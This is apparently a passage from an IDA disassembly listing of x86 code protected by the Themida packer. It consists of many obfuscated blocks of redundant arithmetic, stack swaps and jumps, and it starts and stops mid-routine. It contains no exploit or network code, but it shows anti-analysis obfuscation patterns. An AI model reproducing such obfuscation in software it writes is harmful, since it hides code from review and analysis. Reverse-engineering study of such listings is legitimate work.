		mov	ecx, [esp+38h+var_3A+2]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 61831991h
		and	eax, 15623239h
		shl	eax, 5
		sub	eax, 2042021Ch
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 4
		add	ebp, 591804F6h
		sub	ebp, 1C5E4F2Dh
		add	ebp, edx
		add	ebp, 1C5E4F2Dh
		sub	ebp, 591804F6h
		mov	edx, [esp+40h+var_42+2]
		add	esp, 4
		xchg	ebp, [esp+3Ch+var_3E+2]
		pop	esp
		xor	ecx, 2FC85DDDh
		jmp	loc_56E3D9
; ---------------------------------------------------------------------------


loc_56F0CE:				; CODE XREF: sub_562ABA+57AFj
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edx
		mov	edx, 0BD90646h
		jmp	loc_570B15
; ---------------------------------------------------------------------------


loc_56F0E1:				; CODE XREF: sub_562ABA+505Bj
		mov	ecx, 4
		mov	esi, ecx
		pop	ecx
		jmp	loc_5628FF
; ---------------------------------------------------------------------------


loc_56F0EE:				; CODE XREF: sub_562ABA+863Fj
		add	ebp, 4
		push	217Bh
		mov	[esp+36h+var_36], ecx
		sub	esp, 4
		mov	[esp+3Ah+var_3A], eax
		push	626E181Eh
		jmp	loc_5633F3
; ---------------------------------------------------------------------------


loc_56F10F:				; CODE XREF: sub_562ABA+4273j
		push	eax
		push	0FFFBBBE2h
		pop	eax
		xor	ebp, eax
		jmp	loc_568421
; ---------------------------------------------------------------------------


loc_56F11D:				; CODE XREF: sub_55FCA5+21A9j
		add	bx, si
		jmp	loc_564F3B
; ---------------------------------------------------------------------------


loc_56F125:				; CODE XREF: sub_562ABA+7A29j
		mov	ax, word ptr [esp-8+arg_4]
		jmp	loc_55F489
; ---------------------------------------------------------------------------


loc_56F12E:				; CODE XREF: sub_562ABA+5100j
		push	[esp+32h+var_32]
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		push	301Ah
		mov	[esp+36h+var_36], edi
		jmp	loc_56D516
; ---------------------------------------------------------------------------


loc_56F144:				; CODE XREF: sub_562ABA+174Bj
		mov	edi, ebp
		pop	ebp
		add	edx, edi
		pop	edi
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		jmp	loc_562AB5
; ---------------------------------------------------------------------------


loc_56F153:				; CODE XREF: sub_562ABA+9B1Cj
		pop	[esp+1Ah+var_1A]
		mov	esp, [esp+16h+var_16]
		jmp	loc_57089A
; ---------------------------------------------------------------------------


loc_56F15E:				; CODE XREF: sub_562ABA+986j
		add	esp, 4
		jmp	loc_56DFC1
; ---------------------------------------------------------------------------


loc_56F166:				; CODE XREF: sub_562ABA+C7ABj
		mov	esi, [esp+0]
		jmp	loc_56D849
; ---------------------------------------------------------------------------


loc_56F16E:				; CODE XREF: sub_562ABA+BA6Fj
		shl	edi, 5
		push	edx
		jmp	loc_5600B5
; ---------------------------------------------------------------------------
		xor	byte ptr [esp+16h+var_16], bh
		xor	bh, byte ptr [esp+16h+var_16]
		xor	byte ptr [esp+16h+var_16], bh
		push	eax
		mov	ah, ch
		sub	esp, 4
		mov	[esp+1Eh+var_1E], eax
		mov	ah, bh
		mov	ch, ah
		jmp	loc_567AC9
; ---------------------------------------------------------------------------


loc_56F195:				; CODE XREF: sub_562ABA+9564j
		push	3F8Bh
		mov	[esp+1Ah+var_1A], eax
		mov	ax, 4AE3h
		mov	si, ax
		jmp	loc_56F8E6
; ---------------------------------------------------------------------------


loc_56F1A9:				; CODE XREF: sub_562ABA-3616j
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebp
		push	esp
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp+30h+var_32+2]
		pop	esp
		push	bx
		mov	bh, 0B5h
		xor	ah, bh
		pop	bx
		jmp	loc_562BB4
; ---------------------------------------------------------------------------


loc_56F1D0:				; CODE XREF: sub_562ABA+8123j
		pop	ecx
		jmp	loc_5729C9
; ---------------------------------------------------------------------------


loc_56F1D6:				; CODE XREF: sub_562ABA+F6F1j
		add	esp, 4
		sub	esi, 7A0F2456h
		jmp	loc_5691B9
; ---------------------------------------------------------------------------


loc_56F1E7:				; CODE XREF: sub_562ABA+74CBj
		mov	eax, ebp
		pop	ebp
		jmp	loc_55E6B7
; ---------------------------------------------------------------------------


loc_56F1EF:				; CODE XREF: sub_562ABA+53B1j
		sub	edx, eax
		add	edx, 7F0C5541h
		pop	eax
		and	eax, edx
		jmp	loc_570FE3
; ---------------------------------------------------------------------------


loc_56F1FF:				; CODE XREF: sub_562ABA+3C17j
		push	4D6Fh
		mov	[esp-6+arg_0+2], ecx
		mov	ecx, 2EB84698h
		shr	ecx, 3
		push	24A3h
		mov	[esp+0], eax
		push	ecx
		mov	ecx, 22F97EB2h
		mov	eax, ecx
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		xor	eax, 1FE3D08h
		or	ecx, eax
		pop	eax
		jmp	loc_560049
; ---------------------------------------------------------------------------


loc_56F232:				; CODE XREF: sub_562ABA-4441j
		push	ebp
		pop	ecx
		pop	ebp
		neg	ecx
		shr	ecx, 2
		inc	ecx
		add	ecx, 0C94BC661h
		sub	edi, 3E425A1Eh
		add	edi, ecx
		jmp	loc_55ED0C
; ---------------------------------------------------------------------------


loc_56F24E:				; CODE XREF: sub_562ABA+BC4Cj
		lea	eax, [edi+eax*4]
		push	0AF5h
		mov	[esp+0Ah+var_C+2], eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56F25E:				; CODE XREF: sub_562ABA-37B5j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56F263:				; CODE XREF: sub_562ABA+5CF5j
		add	eax, esi
		jmp	loc_56F166
; ---------------------------------------------------------------------------


loc_56F26A:				; CODE XREF: sub_562ABA+818j
		add	al, 0D1h
		sub	al, 0F7h
		mov	dx, word ptr [esp+2Ah+var_2C+2]
		jmp	loc_569524
; ---------------------------------------------------------------------------


loc_56F277:				; CODE XREF: sub_562ABA+5A54j
		add	edi, 4
		add	edi, 4
		jmp	loc_570866
; ---------------------------------------------------------------------------


loc_56F288:				; CODE XREF: sub_562ABA-B85j
		pop	ebx
		jmp	loc_5642BC
; ---------------------------------------------------------------------------


loc_56F28E:				; CODE XREF: sub_562ABA+E04Fj
		add	esp, 2
		xchg	si, [esp+0]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56F29A:				; CODE XREF: sub_562ABA-2E5Dj
		mov	[esp+12h+var_12], ecx
		sub	esp, 4
		mov	[esp+16h+var_16], ebx
		push	ecx
		mov	ch, 0D2h
		mov	bl, 0F6h
		sub	bl, ch
		jmp	loc_56261B
; ---------------------------------------------------------------------------


loc_56F2AF:				; CODE XREF: sub_562ABA+5CDEj
		sub	esi, 14D0B626h
		add	ebp, 7F80165Ch
		add	ebp, esi
		sub	ebp, 7F80165Ch
		jmp	loc_56EEEE
; ---------------------------------------------------------------------------


loc_56F2C8:				; CODE XREF: sub_562ABA+6E18j
		add	dword ptr [esp+0], 528A17E2h
		jmp	loc_5664EE
; ---------------------------------------------------------------------------


loc_56F2D4:				; CODE XREF: sub_562ABA-34B8j
		mov	ecx, 0BEB28E02h
		sub	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		xchg	edi, [esp-24h+arg_20]
		mov	esp, [esp-24h+arg_20]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56F2ED:				; CODE XREF: sub_562ABA+6C80j
		mov	edx, [esp+0Ah+var_C+2]
		jmp	loc_564AA4
; ---------------------------------------------------------------------------


loc_56F2F5:				; CODE XREF: sub_562ABA+3A48j
		neg	edi
		xor	edi, 0F244E754h
		jmp	loc_56D67A
; ---------------------------------------------------------------------------


loc_56F302:				; CODE XREF: sub_562ABA+2508j
		add	eax, 38D83991h
		push	[esp+16h+var_16]
		pop	ebx
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 19DC0B73h
		mov	ecx, 5F8059ECh
		xor	ecx, ebp
		pop	ebp
		jmp	loc_56CF43
; ---------------------------------------------------------------------------


loc_56F325:				; CODE XREF: sub_562ABA+4AEBj
		mov	ebp, [esp+2+var_4+2]
		add	esp, 4
		add	eax, edi
		pop	edi
		push	4CF1h
		jmp	loc_55E182
; ---------------------------------------------------------------------------


loc_56F338:				; CODE XREF: sub_562ABA+3C29j
		mov	dl, ah
		jmp	loc_55FAE4
; ---------------------------------------------------------------------------


loc_56F33F:				; CODE XREF: sub_562ABA-183Dj
		add	esp, 4
		jmp	loc_55FE0E
; ---------------------------------------------------------------------------


loc_56F34A:				; CODE XREF: sub_562ABA+2FDCj
		add	al, cl
		add	al, 0B1h
		pop	cx
		sub	al, 5
		jmp	loc_562AD5
; ---------------------------------------------------------------------------


loc_56F357:				; CODE XREF: sub_562ABA+463Fj
		mov	eax, [esp+0]
		add	esp, 4
		and	eax, 3C6E2824h
		shr	eax, 3
		jmp	loc_56B643
; ---------------------------------------------------------------------------


loc_56F36A:				; CODE XREF: sub_562ABA-2230j
		xchg	ebx, [esp+46h+var_46]
		pop	esp
		mov	[esp+42h+var_42], eax
		mov	eax, 4
		sub	ebx, 5FD17EFEh
		add	ebx, eax
		jmp	loc_568CB7
; ---------------------------------------------------------------------------


loc_56F383:				; CODE XREF: sub_562ABA+EEC3j
		push	edi
		mov	edi, 34F952E1h
		push	ebp
		mov	ebp, 6DB91F7Dh
		sub	edi, ebp
		pop	ebp
		or	edi, 600E0F0Fh
		sub	edi, 0E74E3F6Bh
		add	ebp, edi
		pop	edi
		jmp	loc_566345
; ---------------------------------------------------------------------------


loc_56F3A6:				; CODE XREF: sub_55FCA5+1E8j
		pop	ebp
		jmp	loc_56CB35
; ---------------------------------------------------------------------------


loc_56F3AC:				; CODE XREF: sub_562ABA+5EFBj
		shr	eax, 3
		xor	eax, 29E94C00h
		xor	eax, 57AFE7F7h
		sub	esi, eax
		jmp	loc_5663E8
; ---------------------------------------------------------------------------


loc_56F3C0:				; CODE XREF: sub_562ABA+A935j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Eh+var_1E]
		pop	esp
		push	edi
		mov	edi, 5B0D1595h
		jmp	loc_56E086
; ---------------------------------------------------------------------------


loc_56F3DB:				; CODE XREF: sub_562ABA+7FB7j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Ah+var_1A]
		pop	esp
		jmp	loc_56A251
; ---------------------------------------------------------------------------


loc_56F3F0:				; CODE XREF: sub_562ABA+14CFj
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		xchg	edi, [esp+26h+var_28+2]
		pop	esp
		xor	bl, al
		jmp	loc_57135C
; ---------------------------------------------------------------------------


loc_56F408:				; CODE XREF: sub_562ABA+F33Cj
		or	ebx, 3FAC3D3Ah
		jmp	loc_55E3D3
; ---------------------------------------------------------------------------


loc_56F413:				; CODE XREF: sub_562ABA+1BE5j
		xor	edi, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], edi
		xor	edi, [esp+26h+var_28+2]
		jmp	loc_56A96D
; ---------------------------------------------------------------------------


loc_56F421:				; CODE XREF: sub_562ABA+6541j
		not	edx
		jmp	loc_5605CA
; ---------------------------------------------------------------------------


loc_56F428:				; CODE XREF: sub_562ABA-1CA8j
		add	dl, bl
		mov	ebx, [esp+42h+var_42]
		add	esp, 4
		not	dl
		add	dl, 0FFh
		push	ax
		push	ecx
		mov	ch, 4Eh
		xor	ch, 94h
		sub	ch, 60h
		mov	ah, ch
		pop	ecx
		jmp	loc_56E22E
; ---------------------------------------------------------------------------


loc_56F448:				; CODE XREF: sub_562ABA-EEBj
		add	eax, 1D77685Fh
		add	ecx, 604A263Dh
		add	ecx, eax
		push	esi
		mov	esi, esp
		jmp	loc_563863
; ---------------------------------------------------------------------------


loc_56F45D:				; CODE XREF: sub_562ABA+B4EAj
		push	edi
		mov	edi, 78966368h
		push	edx
		push	62C7h
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, 6C5B1536h
		not	ecx
		jmp	loc_566F27
; ---------------------------------------------------------------------------


loc_56F478:				; CODE XREF: sub_562ABA+E2F6j
		xchg	edx, [esp+1Eh+var_1E]
		jmp	loc_55EA1B
; ---------------------------------------------------------------------------


loc_56F480:				; CODE XREF: sub_562ABA+238Cj
		add	[esp+26h+var_22], 3C0627D4h
		push	eax
		jmp	loc_564AE3
; ---------------------------------------------------------------------------


loc_56F48E:				; CODE XREF: sub_562ABA+2D36j
		push	esi
		pop	edi
		pop	esi
		xchg	edi, [esp+1Ah+var_1A]
		jmp	loc_56AD61
; ---------------------------------------------------------------------------


loc_56F499:				; CODE XREF: sub_562ABA+E66j
		push	[esp+34h+var_36+2]
		pop	edx
		add	esp, 4
		shl	esi, 1
		dec	esi
		add	esi, 1
		xor	esi, 6AFD3CDh
		xor	eax, esi
		push	[esp+30h+var_32+2]
		pop	esi
		add	esp, 4
		push	edx
		jmp	loc_5659CF
; ---------------------------------------------------------------------------


loc_56F4BE:				; CODE XREF: sub_562ABA-1991j
		xor	edi, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], edi
		xor	edi, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		add	edi, 4
		add	edi, 2
		xor	edi, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], edi
		xor	edi, [esp+26h+var_28+2]
		jmp	loc_569663
; ---------------------------------------------------------------------------


loc_56F4E4:				; CODE XREF: sub_562ABA+8116j
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		jmp	loc_56ED05
; ---------------------------------------------------------------------------


loc_56F4FB:				; CODE XREF: sub_562ABA+6929j
		push	edi
		push	ecx
		push	4E471E98h
		pop	ecx
		sub	ecx, 0DC7ECA75h
		mov	edi, ecx
		jmp	loc_56EECA
; ---------------------------------------------------------------------------


loc_56F510:				; CODE XREF: sub_562ABA+51F2j
		or	ebp, 7305DACh
		push	eax
		mov	eax, 0B804A048h
		add	ebp, eax
		jmp	loc_55E822
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 13h
		jmp	loc_570741
; ---------------------------------------------------------------------------


loc_56F52B:				; CODE XREF: sub_562ABA+BC1Fj
		pop	edi
		pop	[esp+3Ah+var_3A]
		pop	esp
		jmp	loc_5717DE
; ---------------------------------------------------------------------------


loc_56F535:				; CODE XREF: sub_562ABA+637Bj
		push	ebx
		jmp	loc_55E299
; ---------------------------------------------------------------------------


loc_56F53B:				; CODE XREF: sub_562ABA+72D9j
		sub	ebx, eax
		jmp	loc_571345
; ---------------------------------------------------------------------------


loc_56F542:				; CODE XREF: sub_562ABA-1DCDj
		add	ebp, ecx
		pop	ecx
		pop	ebx
		xchg	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_567F82
; ---------------------------------------------------------------------------


loc_56F54E:				; CODE XREF: sub_562ABA-E52j
		add	edi, edx
		mov	edx, [esp+36h+var_36]
		jmp	loc_57016A
; ---------------------------------------------------------------------------


loc_56F558:				; CODE XREF: sub_572A4F+6j
		mov	[esp+36h+var_36], edi
		push	4173h
		mov	[esp+3Ah+var_3A], esp
		add	[esp+3Ah+var_3A], 4
		mov	edi, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_563C90
; ---------------------------------------------------------------------------


loc_56F575:				; CODE XREF: sub_562ABA+DE99j
		push	edi
		jmp	loc_55E44C
; ---------------------------------------------------------------------------


loc_56F57B:				; CODE XREF: sub_562ABA+899Fj
		add	esi, 0FFCFF778h
		sub	eax, esi
		pop	esi
		sub	eax, 0CB94A2B5h
		add	ebp, eax
		mov	eax, [esp+56h+var_56]
		add	esp, 4
		add	ebp, 2
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+56h+var_56]
		pop	esp
		mov	[esp+52h+var_52], ebp
		push	[esp+52h+var_4E]
		jmp	loc_55E2F3
; ---------------------------------------------------------------------------


loc_56F5B3:				; CODE XREF: sub_562ABA+140Aj
		sub	ax, si
		pop	esi
		sub	ax, 1BEEh
		jmp	loc_56C746
; ---------------------------------------------------------------------------


loc_56F5C0:				; CODE XREF: sub_562ABA+10143j
		xor	ecx, [esp+12h+var_12]
		xor	[esp+12h+var_12], ecx
		xor	ecx, [esp+12h+var_12]
		jmp	loc_56B89F
; ---------------------------------------------------------------------------


loc_56F5CE:				; CODE XREF: sub_562ABA+F50Fj
		xchg	edi, [esp+12h+var_12]
		pop	esp
		add	esi, 4
		push	ecx
		jmp	loc_56FDAF
; ---------------------------------------------------------------------------


loc_56F5DE:				; CODE XREF: sub_562ABA+E837j
		mov	esp, [esp+12h+var_12]
		bt	[esp+12h+var_12], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56F5EB:				; CODE XREF: sub_562ABA+981Bj
		xor	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 328D1442h
		jmp	loc_56C526
; ---------------------------------------------------------------------------


loc_56F5F9:				; CODE XREF: sub_562ABA+B168j
		pop	esi
		pop	[esp+1Ah+var_1A]
		pop	esp
		mov	[esp+12h+var_12], ebx
		push	esp
		pop	ebx
		push	641Dh
		mov	[esp+16h+var_16], esi
		mov	esi, 55372701h
		and	esi, 20AE5FB7h
		sub	esi, 2606FDh
		push	ebp
		mov	ebp, 7B46412Ah
		not	ebp
		and	ebp, 36217705h
		jmp	loc_56DC98
; ---------------------------------------------------------------------------


loc_56F62F:				; CODE XREF: sub_562ABA+44Dj
		mov	ebx, [esp+18h+var_1A+2]
		jmp	loc_566528
; ---------------------------------------------------------------------------


loc_56F637:				; CODE XREF: sub_562ABA+70E0j
		push	2E84h
		jmp	loc_569276
; ---------------------------------------------------------------------------


loc_56F641:				; CODE XREF: sub_562ABA+FE5Aj
		mov	edx, esp
		add	edx, 4
		jmp	loc_562F77
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_5669E1
; ---------------------------------------------------------------------------


loc_56F656:				; CODE XREF: sub_5627AB+3j
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		shr	ebp, 6
		push	ecx
		mov	ecx, 7499D399h
		jmp	loc_57204A
; ---------------------------------------------------------------------------


loc_56F66A:				; CODE XREF: sub_562ABA+E2E8j
		sub	esp, 4
		jmp	loc_56264B
; ---------------------------------------------------------------------------


loc_56F672:				; CODE XREF: sub_562ABA+8BCAj
		mov	[esp+3Eh+var_3E], ecx
		mov	ecx, 2F236CD8h
		push	577Dh
		mov	[esp+42h+var_42], ebp
		mov	ebp, 37A3E1Bh
		xor	ecx, ebp
		pop	ebp
		and	ecx, 154726DDh
		jmp	loc_56D21F
; ---------------------------------------------------------------------------


loc_56F695:				; CODE XREF: sub_562ABA+6DE1j
		not	esi
		shl	esi, 1
		and	esi, 345259Eh
		jmp	loc_56D338
; ---------------------------------------------------------------------------


loc_56F6A4:				; CODE XREF: sub_562ABA+A85j
		pop	ebx
		sub	eax, ebp
		mov	ebp, [esp+36h+var_36]
		add	esp, 4
		add	eax, 691C3C5Ch
		jmp	loc_566B71
; ---------------------------------------------------------------------------


loc_56F6B7:				; CODE XREF: sub_562ABA-21C4j
		push	ebp
		mov	ebp, 4
		jmp	loc_561D7C
; ---------------------------------------------------------------------------


loc_56F6C2:				; CODE XREF: sub_562ABA-2F9j
		mov	dl, cl
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		pop	ebx
		sub	al, dl
		pop	dx
		xor	bl, al
		jmp	loc_56AAF9
; ---------------------------------------------------------------------------


loc_56F6D6:				; CODE XREF: sub_562ABA+7517j
		mov	eax, 137260E8h
		push	eax
		xchg	esi, [esp+0]
		not	esi
		push	esi
		jmp	loc_5670F1
; ---------------------------------------------------------------------------


loc_56F6E7:				; CODE XREF: sub_562ABA+29D4j
		xchg	ebx, [esp+6+var_8+2]
		jmp	loc_566088
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 57B66A4Fh
		sub	eax, 3D246212h
		sub	eax, ebx
		add	eax, 3D246212h
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edx
		mov	edx, 0D56A16h
		push	ecx
		mov	ecx, 7B45079Eh
		xor	ecx, 57EF0005h
		not	ecx
		push	esi
		mov	esi, 6C661C4Fh
		shr	esi, 7
		jmp	$+5
		add	esi, 2D78D0Dh
		sub	ecx, esi
		jmp	loc_562544
; ---------------------------------------------------------------------------


loc_56F738:				; CODE XREF: sub_562ABA+F4E3j
		pop	ebp
		sub	edx, 4
		jmp	loc_56E656
; ---------------------------------------------------------------------------


loc_56F741:				; CODE XREF: sub_562ABA+6329j
		mov	[esp+1Ah+var_1A], esi
		jmp	loc_55FF37
; ---------------------------------------------------------------------------


loc_56F749:				; CODE XREF: sub_562ABA+1C9Bj
		sub	ebp, 542B389Ah
		push	[esp-8+arg_4]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_56ED14
; ---------------------------------------------------------------------------


loc_56F764:				; CODE XREF: sub_562ABA+4BCDj
		mov	ebx, 0E9F64706h
		sub	esi, ebx
		pop	ebx
		add	ebp, esi
		jmp	loc_564FFC
; ---------------------------------------------------------------------------


loc_56F773:				; CODE XREF: sub_562ABA-31BDj
		pop	edi
		jmp	loc_55F6CA
; ---------------------------------------------------------------------------


loc_56F779:				; CODE XREF: sub_562ABA+2434j
		add	edx, ebx
		push	ebp
		mov	ebp, 5C7B4E64h
		xor	ebp, 368C783Dh
		neg	ebp
		shr	ebp, 1
		inc	ebp
		add	ebp, 24C0129Bh
		jmp	loc_5717C1
; ---------------------------------------------------------------------------


loc_56F797:				; CODE XREF: sub_562ABA+C9Ej
		push	edx
		mov	edx, 13ED369Ah
		sub	edx, 3BC25F62h
		xor	edx, 199660CBh
		sub	edx, 0B0D0906Fh
		jmp	loc_5660C2
; ---------------------------------------------------------------------------


loc_56F7B4:				; CODE XREF: sub_562ABA-3BE7j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_56ACCA
; ---------------------------------------------------------------------------


loc_56F7C2:				; CODE XREF: sub_562ABA+C20Bj
		mov	ax, word ptr [esp+1Ah+var_1A]
		jmp	loc_57261C
; ---------------------------------------------------------------------------


loc_56F7CB:				; CODE XREF: sub_55FCA5+10Dj
		pop	eax
		sub	eax, 42351DA6h
		mov	edx, eax
		pop	eax
		push	edx
		jmp	loc_5710F6
; ---------------------------------------------------------------------------


loc_56F7DA:				; CODE XREF: sub_562ABA+7406j
		mov	edi, 4E2317E3h
		jmp	loc_570E6E
; ---------------------------------------------------------------------------


loc_56F7E4:				; CODE XREF: sub_562ABA+961j
		mov	[esp-1Ch+arg_18], edx
		jmp	loc_56008C
; ---------------------------------------------------------------------------


loc_56F7EC:				; CODE XREF: sub_562ABA+52DFj
		inc	ebx
		push	ebx
		inc	[esp+2Ah+var_2C+2]
		jmp	loc_56CD85
; ---------------------------------------------------------------------------


loc_56F7F6:				; CODE XREF: sub_562ABA+85CBj
		mov	ecx, esp
		jmp	loc_56383E
; ---------------------------------------------------------------------------


loc_56F7FD:				; DATA XREF: Themida_:0055DFFCo
		push	[esp+1Ah+var_1A]
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_56A436
; ---------------------------------------------------------------------------


loc_56F811:				; CODE XREF: sub_562ABA+59EBj
		xor	[esp+3Eh+var_3E], edi
		xor	edi, [esp+3Eh+var_3E]
		jmp	loc_56119C
; ---------------------------------------------------------------------------


loc_56F81C:				; CODE XREF: sub_55FC41-DC9j
		sub	[esp+3Eh+var_3A], 13CC7CA5h
		add	[esp+3Eh+var_3A], esi
		add	[esp+3Eh+var_3A], 13CC7CA5h
		pop	esi
		jmp	loc_56B1A2
; ---------------------------------------------------------------------------


loc_56F836:				; CODE XREF: sub_562ABA+BABDj
		or	edi, eax
		pop	eax
		and	edi, 133A44CDh
		shr	edi, 6
		add	edi, 1B505E63h
		sub	edx, edi
		pop	edi
		add	edi, edx
		jmp	loc_561525
; ---------------------------------------------------------------------------


loc_56F852:				; CODE XREF: sub_562ABA+77FEj
		push	eax
		push	esp
		push	[esp+26h+var_28+2]
		jmp	loc_56FF87
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		pop	eax
		push	7D5Eh
		mov	[esp+32h+var_32], ebp
		jmp	loc_565B51
; ---------------------------------------------------------------------------


loc_56F870:				; CODE XREF: sub_562ABA+40D1j
		xchg	ecx, [esp+42h+var_42]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_565EC0
; ---------------------------------------------------------------------------


loc_56F886:				; CODE XREF: Themida_:00561FEAj
		sub	ax, 4D7Dh
		sub	ax, si
		add	ax, 4D7Dh
		jmp	loc_56C01D
; ---------------------------------------------------------------------------


loc_56F896:				; CODE XREF: sub_562ABA+9C9j
		add	eax, 241B3BA0h
		push	edi
		mov	edi, 1E137C14h
		shl	edi, 4
		not	edi
		and	edi, 761E2382h
		push	ecx
		mov	ecx, 0B778E60Fh
		sub	edi, ecx
		pop	ecx
		sub	eax, edi
		pop	edi
		jmp	loc_56AB5D
; ---------------------------------------------------------------------------


loc_56F8BD:				; CODE XREF: sub_562ABA+38E9j
		xchg	edx, [esp+0]
		jmp	loc_56B4A4
; ---------------------------------------------------------------------------


loc_56F8C5:				; CODE XREF: sub_562ABA+8A72j
		pop	edx
		sub	eax, 4
		jmp	loc_56B051
; ---------------------------------------------------------------------------


loc_56F8CE:				; CODE XREF: sub_562ABA-243Dj
		mov	ecx, 5A2613ABh
		push	eax
		mov	eax, 671C34F3h
		add	ecx, eax
		jmp	loc_562A7B
; ---------------------------------------------------------------------------


loc_56F8E0:				; CODE XREF: sub_562ABA+40DBj
		pop	edx
		jmp	loc_56C487
; ---------------------------------------------------------------------------


loc_56F8E6:				; CODE XREF: sub_562ABA+C6EAj
		push	[esp+1Ah+var_1A]
		jmp	loc_562735
; ---------------------------------------------------------------------------


loc_56F8EE:				; CODE XREF: sub_562ABA-5F5j
		mov	edx, esp
		push	41BDh
		mov	[esp+36h+var_36], ebp
		mov	ebp, 361059D0h
		shl	ebp, 6
		push	ecx
		push	eax
		jmp	loc_56682D
; ---------------------------------------------------------------------------


loc_56F907:				; CODE XREF: sub_562ABA+2C1Fj
		pop	ebp
		add	esp, 4
		add	edi, ecx
		push	edx
		jmp	loc_57159D
; ---------------------------------------------------------------------------


loc_56F913:				; CODE XREF: sub_562ABA-3D88j
		mov	cl, 0B3h
		mov	ah, 7Ah
		sub	ah, cl
		jmp	loc_566B45
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+1Eh+var_1E]
		push	68AEh
		mov	[esp+22h+var_22], ebx
		push	501h
		jmp	loc_56630C
; ---------------------------------------------------------------------------


loc_56F934:				; CODE XREF: sub_562ABA+E72Bj
		inc	dl
		push	eax
		mov	al, 0D0h
		shr	al, 7
		or	al, 0E5h
		sub	al, 4Ch
		jmp	loc_5687DE
; ---------------------------------------------------------------------------


loc_56F945:				; CODE XREF: sub_562ABA+B88Cj
		pop	[esp+16h+var_16]
		mov	esp, [esp+12h+var_12]
		push	esp
		pop	[esp+16h+var_16]
		jmp	loc_56C0EB
; ---------------------------------------------------------------------------


loc_56F954:				; CODE XREF: sub_562ABA+3F48j
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		jmp	loc_5603D3
; ---------------------------------------------------------------------------


loc_56F963:				; CODE XREF: sub_562ABA+3C2Fj
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		mov	[esp-10h+arg_C], esi
		jmp	loc_56644D
; ---------------------------------------------------------------------------


loc_56F971:				; CODE XREF: sub_562ABA+BC86j
		add	esp, 4
		push	edx
		push	[esp-2+arg_0+2]
		pop	edx
		pop	dword ptr [esp+0]
		pop	esp
		push	small 64B0h
		mov	word ptr [esp-8+arg_4],	cx
		push	eax
		mov	ah, 46h
		jmp	loc_565908
; ---------------------------------------------------------------------------


loc_56F98E:				; CODE XREF: sub_562ABA+D90Bj
		mov	ebx, 124A2355h
		and	ebx, 5D310184h
		xor	ebx, 459E2006h
		sub	ebx, 0DDD68A5h
		jmp	loc_569790
; ---------------------------------------------------------------------------


loc_56F9AA:				; CODE XREF: sub_562ABA+312Fj
		add	ebx, esi
		jmp	loc_56B633
; ---------------------------------------------------------------------------


loc_56F9B1:				; CODE XREF: sub_562ABA+54Fj
		dec	eax
		neg	eax
		jmp	loc_56095F
; ---------------------------------------------------------------------------


loc_56F9B9:				; CODE XREF: sub_562ABA+3A02j
		sub	ebp, 4
		xchg	ebp, [esp+16h+var_16]
		pop	esp
		push	esp
		pop	[esp+16h+var_16]
		push	ebp
		jmp	loc_55F91C
; ---------------------------------------------------------------------------


loc_56F9CA:				; CODE XREF: sub_562ABA+D5E9j
		pop	edx
		push	edx
		mov	edx, 304D1AE1h
		add	esi, edx
		pop	edx
		jmp	loc_56A519
; ---------------------------------------------------------------------------


loc_56F9D9:				; CODE XREF: sub_562ABA+C4Bj
		not	eax
		jmp	loc_55FC8D
; ---------------------------------------------------------------------------


loc_56F9E0:				; CODE XREF: sub_562ABA+5DA9j
		push	495h
		mov	[esp+1Eh+var_1E], edx
		push	esp
		pop	edx
		add	edx, 4
		push	2F37h
		mov	[esp+22h+var_22], eax
		push	2
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		add	edx, eax
		pop	eax
		push	esi
		jmp	loc_5668D6
; ---------------------------------------------------------------------------


loc_56FA0C:				; CODE XREF: sub_562ABA+D60Bj
		add	[esp+22h+var_1E], ebx
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
